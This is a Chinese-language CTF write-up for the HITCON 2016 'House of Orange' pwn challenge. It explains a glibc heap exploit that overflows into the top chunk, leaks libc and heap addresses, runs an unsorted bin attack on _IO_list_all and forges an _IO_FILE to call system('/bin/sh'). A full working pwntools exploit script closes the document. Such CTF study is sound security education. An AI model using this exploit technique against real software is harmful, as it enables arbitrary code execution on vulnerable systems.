House of Orange
题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500
查看程序保护:
发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:
这题的难点没有free函数,但是对溢出没有限制,且malloc的size我们可以自己控制,所以可以载top_chunk上做文章。
利用思路:
- 修改top_chunk的size小于要分配的size,这样old_top会被放入unsorted_bin中
- malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
- 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell
完整的exp我会放在最后,现在我们分步来看利用过程。
第一步:修改top_chunk的size,并将其放入unsorted bin中。
在ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:
- 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
- 申请的chunk大小大于128KB,利用mmap分配堆
为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:
/* Record incoming configuration of top */ old_top = av->top; old_size = chunksize (old_top); old_end = (char *) (chunk_at_offset (old_top, old_size)); brk = snd_brk = (char *) (MORECORE_FAILURE); /* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */ //前半部分是针对第一次调用此函数,top_chunk没有初始化的情况 assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); //检查top_chunk结束的的地址是否页对齐 /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
我们可以发现伪造的top_chunk的size要满足一下条件:
- size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
- size的inuse位要为1
- old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
- size要小于你要申请的chunk的大小
部分利用代码如下:
Build(0x80, 'simple', 0x1234, 0xddaa) payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64(0) + p64(0) + p64(0xf30) #伪造的的top_chunk的size为0xf30 Upgrade(len(payload), payload, 0x1234, 0xddaa)
第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中
部分源码:
if (old_size != 0) { /* Shrink old_top to insert fenceposts, keeping size a multiple of MALLOC_ALIGNMENT. We know there is at least enough space in old_top to do this. */ old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK; set_head (old_top, old_size | PREV_INUSE); /* Note that the following assignments completely overwrite old_top when old_size was previously MINSIZE. This is intentional. We need the fencepost, even if old_top otherwise gets lost. */ chunk_at_offset (old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE; chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE; /* If possible, release the rest. */ if (old_size >= MINSIZE) { _int_free (av, old_top, 1); } }
可以看出最后会调用_int_free把old_top放入unsorted bin中
部分利用脚本:
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk gdb.attach(p) See() p.recvuntil('Name of house : AAAAAAAA') libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c5188 info("libc_base ==> " + hex(libc_base)) payload = 'A'*16 Upgrade(len(payload), payload, 0x1234, 0xddaa) See() p.recvuntil('A'*16) chunk_addr = u64(p.recv(6).ljust(8, '\x00')) info("chunk_addr ==> " + hex(chunk_addr))
第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell
这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow
先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。
在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真
绕过检查,上述条件,最终exp如下:
from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./houseoforange') elf = ELF('houseoforange') libc = elf.libc def Build(length, name, price, color): p.sendlineafter('Your choice : ', '1') p.sendlineafter('Length of name :', str(length)) p.sendafter('Name :', name) p.sendlineafter('Price of Orange:', str(price)) p.sendlineafter('Color of Orange:', str(color)) def See(): p.sendlineafter('Your choice : ', '2') def Upgrade(length, name, price, color): p.sendlineafter('Your choice : ', '3') p.sendlineafter('Length of name :', str(length)) p.sendafter('Name:', name) p.sendlineafter('Price of Orange: ', str(price)) p.sendlineafter('Color of Orange: ', str(color)) Build(0x80, 'simple', 0x1234, 0xddaa) payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64(0) + p64(0) + p64(0xf30) #伪造的的top_chunk的size为0xf30 Upgrade(len(payload), payload, 0x1234, 0xddaa) Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa) Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk gdb.attach(p) See() p.recvuntil('Name of house : AAAAAAAA') libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c5188 info("libc_base ==> " + hex(libc_base)) payload = 'A'*16 Upgrade(len(payload), payload, 0x1234, 0xddaa) See() p.recvuntil('A'*16) chunk_addr = u64(p.recv(6).ljust(8, '\x00')) info("chunk_addr ==> " + hex(chunk_addr)) _IO_list_all = libc.symbols['_IO_list_all'] + libc_base system = libc.symbols['system'] + libc_base info('-------------------------unsorted bin and build fake file-----------------') vtable = chunk_addr + 0x510 payload = '\x00'*0x400 + p64(0) + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64(0) payload += '/bin/sh\x00' + p64(0x60) + p64(0) + p64(_IO_list_all-0x10) + '\x00'*8 + p64(1) + '\x00'*0xa8 + p64(vtable) payload += '\x00'*0x18 + p64(system) Upgrade(len(payload), payload, 0x1234, 0xddaa) p.sendlineafter('Your choice : ', '1') p.interactive()